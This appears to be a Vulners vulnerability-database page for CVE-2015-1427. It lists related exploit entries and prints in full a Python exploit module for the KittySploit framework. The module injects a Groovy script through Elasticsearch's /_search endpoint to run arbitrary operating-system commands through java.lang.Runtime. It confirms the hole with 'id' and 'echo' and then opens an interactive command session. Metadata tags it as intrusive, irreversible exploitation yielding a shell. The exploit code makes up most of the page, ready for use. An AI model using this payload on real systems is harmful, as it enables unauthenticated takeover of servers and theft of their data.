Elasticsearch - Groovy Script RCE (CVE-2015-1427)
| Reporter | Title | Published | Views | Family All 153 |
|---|---|---|---|---|
| elasticsearch -- remote OS command execution via Groovy scripting engine | 11 Feb 201500:00 | – | freebsd | |
| ElasticSearch Unauthenticated Remote Code Execution Exploit | 12 Mar 201500:00 | – | zdt | |
| ElasticSearch Search Groovy Sandbox Bypass Exploit | 12 Mar 201500:00 | – | zdt | |
| Exploit for CVE-2015-1427 | 8 Oct 202619:58 | – | githubexploit | |
| Exploit for CVE-2015-1427 | 9 Jan 201720:08 | – | githubexploit | |
| exploits | 5 Mar 201511:15 | – | githubexploit | |
| Exploit for CVE-2015-1427 | 17 Dec 202510:07 | – | githubexploit | |
| Exploit for OS Command Injection in Gnu Bash | 27 Jul 202504:29 | – | gitee | |
| Exploit for Improper Access Control in Elasticsearch | 6 Jul 202502:42 | – | gitee | |
| Exploit for Improper Access Control in Elasticsearch | 3 Jun 202110:56 | – | gitee |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Elasticsearch Groovy RCE (CVE-2015-1427) — opens execute session."""
import json
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Elasticsearch - Groovy Script RCE (CVE-2015-1427)',
'description': (
'Exploits CVE-2015-1427 Groovy script_fields RCE on Elasticsearch /_search. '
'Opens an interactive execute session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2015-1427'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2015-1427'],
'tags': ['elasticsearch', 'rce', 'unauth', 'kev', 'cve-2015-1427'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 1,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['scanner/http/cve_2015_1427_detect'],
},
},
}
def execute(self, cmd: str) -> str:
safe = str(cmd).replace('\\', '\\\\').replace('"', '\\"')
payload = (
'{"size":1, "script_fields": {"lupin":{"script": '
f'"java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime()'
f'.exec(\\"{safe}\\").getText()"}}}}'
)
r = self.http_request(
method='POST',
path='/_search?pretty',
data=payload,
headers={'Content-Type': 'application/json'},
allow_redirects=False,
)
if not r:
return ''
body = r.text or ''
try:
data = json.loads(body)
hits = data.get('hits', {}).get('hits', [])
if hits:
fields = hits[0].get('fields', {}).get('lupin', [])
if fields:
return fields[0] if isinstance(fields[0], str) else str(fields[0])
except Exception:
pass
return body
def check(self):
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {'vulnerable': True, 'reason': 'CVE-2015-1427 confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'No id output', 'confidence': 'medium'}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Aug 2026 06:19Current
8.9High risk
Vulners AI Score8.9
CVSS 27.5
CVSS 3.19.8
EPSS0.99906
SSVC